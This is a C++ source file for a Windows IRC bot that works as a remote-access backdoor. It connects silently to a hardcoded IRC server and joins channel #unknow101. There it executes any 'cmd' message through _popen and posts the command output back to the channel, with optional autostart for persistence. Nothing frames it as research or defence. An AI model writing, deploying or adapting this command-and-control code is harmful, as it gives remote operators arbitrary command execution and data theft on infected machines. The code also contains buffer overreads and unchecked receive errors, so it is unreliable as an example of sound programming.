#include "stdafx.h"
#include "MyBootIRC.h"
#include "util.h"
using namespace std;


MyBootIRC::MyBootIRC(char * _nick, char * _usr)
{
    nick = _nick;
    usr = _usr;
}
 
MyBootIRC::~MyBootIRC()
{
	 closesocket(mySocket);
	  WSACleanup();
}
 
void MyBootIRC::start()
{
#if isDetail(DETAIL_AUTO_START)
	setAutoStart();
#endif
    setup = true;
   	m_channel= new char[MAXDATASIZE];
	WSAData wsaData;
        
    mySocket = WSAStartup(MAKEWORD(2,2), &wsaData);
    if(mySocket == SOCKET_ERROR){
           // cout << "Socket Failed!\n";
            Sleep(2000);
            return ;
    }
    //cout << "Socket Success...\n";
        
    mySocket = socket(AF_INET, SOCK_STREAM, 0);
        
	//cout<< "\nconnecting to chat.freenode.net , port 6667\n";
	strcpy(m_channel,"193.219.128.49");//chat.freenode.net");
	m_port=6667;
    SOCKADDR_IN server;
    server.sin_port = htons(m_port);
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(m_channel);
    if( connect(mySocket, (SOCKADDR*) (&server), sizeof(server)) == SOCKET_ERROR){
           // cout << "Could not connect to server!\n";
            Sleep(4000);
            return ;
    }       
        
    //cout << "Connection Established...\n";
		
    int numbytes;
    char buf[MAXDATASIZE];
 
    int count = 0;
	  
	//autostart with window


    while (1)
    {
	
        count++;
 
        switch (count) {
            case 3:
                    //after 3 recives send data to server (as per IRC protacol)
                    sendData(nick);
                    sendData(usr);
                break;
            case 4:
                    //Join a channel after we connect, this time we choose beaker
                sendData("JOIN #unknow101\r\n");
            default:
                break;
        }
 
        //Recv & print Data
        numbytes = recv(mySocket,buf,MAXDATASIZE-1,0);
        buf[numbytes]='\0';
        //cout << buf;
        //buf is the data that is recived
 
        //Pass buf to the message handeler
        msgHandel(buf);

        if (charSearch(buf,"PING"))
        {
            sendPong(buf);
        }
		if (charSearch(buf,"EXIT"))
        {
			//Shutdown bot
            break;
        }
 
        if (numbytes==0)
        {
            //cout << "----------------------CONNECTION CLOSED---------------------------"<< endl;
            //cout << timeNow() << endl;
            break;
        }
    }
}
 

bool MyBootIRC::charSearch(char *toSearch, char *searchFor)
{
    int len = strlen(toSearch);
    int forLen = strlen(searchFor); // The length of the searchfor field
 
    //Search through each char in toSearch
    for (int i = 0; i < len;i++)
    {
        //If the active char is equil to the first search item then search toSearch
        if (searchFor[0] == toSearch[i])
        {
            bool found = true;
            //search the char array for search field
            for (int x = 1; x < forLen; x++)
            {
                if (toSearch[i+x]!=searchFor[x])
                {
                    found = false;
                }
            }
 
            //if found return true;
            if (found == true)
                return true;
        }
    }
 
    return 0;
}
 char * MyBootIRC::getCmd(char *buf)
 {
	int len = strlen(buf);
	char *cmd ="cmd ";
	int forLen = strlen(cmd);
	
	for (int i = 0; i < len;i++)
    {
        if (cmd[0] == buf[i])
        {
            bool found = true;
            for (int x = 1; x < forLen; x++)
            {
                if (buf[i+x]!=cmd[x])
                {
                    found = false;
                }
            }
            if (found == true)
			{
                char * ref= new char[len-i+forLen];

				for(int j=0;j< len-i+forLen;j++)
				{
					ref[j]=buf[i+j+forLen];
				}
				return ref;
			}
        }
    }
	return "";
 }
bool MyBootIRC::isConnected(char *buf)
{//returns true if "/MOTD" is found in the input strin
    //If we find /MOTD then its ok join a channel
    if (charSearch(buf,"/MOTD") == true)
        return true;
    else
        return false;
}
 /*
char * MyBootIRC::timeNow()
{//returns the current date and time
    time_t rawtime;
    struct tm * timeinfo;
 
    time ( &rawtime );
    timeinfo = localtime ( &rawtime );
 
    return asctime (timeinfo);
}
 */
bool MyBootIRC::sendData(char *msg)
{//Send some data
    //Send some data
    int len = strlen(msg);
    int bytes_sent = send(mySocket,msg,len,0);
 
    if (bytes_sent == 0)
        return false;
    else
        return true;
}
 
void MyBootIRC::sendPong(char *buf)
{
    //Get the reply address
    //loop through bug and find the location of PING
    //Search through each char in toSearch
 
    char * toSearch = "PING ";
 
    for (int i = 0; i < strlen(buf);i++)
        {
            //If the active char is equil to the first search item then search toSearch
            if (buf[i] == toSearch[0])
            {
                bool found = true;
                //search the char array for search field
                for (int x = 1; x < 4; x++)
                {
                    if (buf[i+x]!=toSearch[x])
                    {
                        found = false;
                    }
                }
 
                //if found return true;
                if (found == true)
                {
                    int count = 0;
                    //Count the chars
                    for (int x = (i+strlen(toSearch)); x < strlen(buf);x++)
                    {
                        count++;
                    }
 
                    //Create the new char array
                    char *returnHost= new char[count + 5];
                    returnHost[0]='P';
                    returnHost[1]='O';
                    returnHost[2]='N';
                    returnHost[3]='G';
                    returnHost[4]=' ';
 
                    count = 0;
                    //set the hostname data
                    for (int x = (i+strlen(toSearch)); x < strlen(buf);x++)
                    {
                        returnHost[count+5]=buf[x];
                        count++;
                    }
 
                    //send the pong
                    if (sendData(returnHost))
                    {
                       // cout << "  Ping Pong" << endl;
                    }
 
                    return;
                }
            }
        }
 
}
 
void MyBootIRC::msgHandel(char * buf)
{
    /*
     * TODO: add you code to respod to commands here
     * the example below replys to the command hi scooby
     */
    if (charSearch(buf,"hi scooby"))
    {
        sendData("PRIVMSG #unknow101 :hi, hows it going\r\n");
		return;
    }

	if (charSearch(buf,"cmd"))    
	{
		char *cmd = getCmd(buf);
		std::string result =getPipe(cmd);
		int begin=0, end=0;


		char *sendBuf1=new char[50];
		strcpy(sendBuf1,"PRIVMSG #unknow101 :BEGIN_DATA_SECTION\r\n");
		sendData(sendBuf1);


		for(int i=0;i< result.length();i++)
		{
			if (result[i]=='\n')
			{
				end=i;
				if(end>begin){
					Sleep(2000); //Avoid flooding effect
					std::string tmp = result.substr(begin,end-begin);
					char *sendBuf=new char[end-begin+20];
					sprintf(sendBuf,"PRIVMSG #unknow101 :%s\r\n",tmp.data());
					//cout<<"Send "<<sendBuf;
					sendData(sendBuf);
					
				}
				end=end+1;
				begin=end;
			}
		}		
		Sleep(2000); //Avoid flooding effect
		
		char *sendBuf2=new char[50];
		strcpy(sendBuf2,"PRIVMSG #unknow101 :END_DATA_SECTION\r\n");
		sendData(sendBuf2);
	}
		
}
std::string MyBootIRC::getPipe(char * cmmand)
{

	FILE* pipe = _popen(cmmand, "r");
	if (!pipe) return "";
	char buffer[128];
	std::string result = "";
	while(!feof(pipe)) {
		if(fgets(buffer, 128, pipe) != NULL)
				result += buffer;
	}
	_pclose(pipe);
	return result;
}
